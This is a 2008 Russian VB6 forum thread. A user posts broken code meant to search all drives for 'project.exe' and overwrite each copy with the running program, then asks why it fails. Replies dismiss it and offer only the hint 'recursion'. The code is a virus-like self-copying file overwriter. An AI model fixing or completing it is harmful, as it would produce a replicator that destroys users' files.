Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - VBA

Страница: 1 |

 

  Вопрос: Проблемы с поиском, не идет поиск Добавлено: 22.06.08 00:26  

Автор вопроса:  
Не понимаю причины почему не работает код, ошибок компилятор не выдает код вроде исправен. Программа должна при запуске делать поиск по всем дискам и дерикториям и при нахождении совершать замену (пример, замена project.exe на запущенный файл project.exe)найденого на запущенный при запуске программа слегка долго загружается вроде бы ищет но потом вылезает окно формы но замены нет и ошибок не вылетает в чем причина?

Option Compare Text
Private Const MAX_PATH = 260
Private Type FILETIME
  dwLowDateTime As Long
  dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
  dwFileAttributes As Long
  ftCreationTime As FILETIME
  ftLastAccessTime As FILETIME
  ftLastWriteTime As FILETIME
  nFileSizeHigh As Long
  nFileSizeLow As Long
  dwReserved0 As Long
  dwReserved1 As Long
  cFileName As String * MAX_PATH
  cAlternate As String * 14

End Type
Private Const INVALID_HANDLE_VALUE = -1
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
  Dim Drives() As String


Private Sub Form_Load()
Dim Ret As Long
Dim rFile As String
Dim sMyFile As String
Dim i As Long
Dim sFFile As String
Dim FD As WIN32_FIND_DATA


  sMyFile = RCP(App.Path) & App.EXEName & ".exe"
  sFFile = App.EXEName & ".exe"
  Call GetDrives
  
  For i = 2 To UBound(Drives)
    Ret = FindFirstFile(Drives(i) & "project.exe", FD)
    If Ret <> INVALID_HANDLE_VALUE Then
      Do
        rFile = Left$(FD.cFileName, InStr(FD.cFileName, Chr(0)) - 1)
        If (rFile <> sMyFile) Then
          CopyFile sMyFile, rFile, 0
        End If
      Loop While FindNextFile(Ret, FD)
      Call FindClose(Ret)
    End If
  Next
End Sub

Private Sub GetDrives()
    strSave = String(255, Chr$(0))
    Ret& = GetLogicalDriveStrings(255, strSave)
    strSave = Left(strSave, InStrRev(strSave, "\"))
    Drives = Split(strSave, Chr(0))
End Sub

Function RCP(ByVal p As String) As String
   RCP = p & IIf(Right(p, 1) = "\", "", "\")
End Function

Ответить

  Ответы Всего ответов: 4  

Номер ответа: 1
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #1
Добавлено: 22.06.08 00:52
Это даже в теории не может работать, как мне кажется...

Ответить

Номер ответа: 2
Автор ответа:
 



Вопросов: 1
Ответов: 1
 Профиль | | #2 Добавлено: 22.06.08 01:09
а как это исправить я нуб в этом может поможите

Ответить

Номер ответа: 3
Автор ответа:
 Arseny



ICQ: 298826769 

Вопросов: 53
Ответов: 1732
 Профиль | | #3 Добавлено: 22.06.08 01:38
все стали с листингами приходить нехилыми.... а чего не спрашиваем там, где берем?

Ответить

Номер ответа: 4
Автор ответа:
 



Администратор

ICQ: 278109632 

Вопросов: 42
Ответов: 3949
 Web-сайт: domkratt.com
 Профиль | | #4
Добавлено: 22.06.08 02:30
Arseny, +1
2Топикстартер
Рекурсия, молодой человек, рекурсия.

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам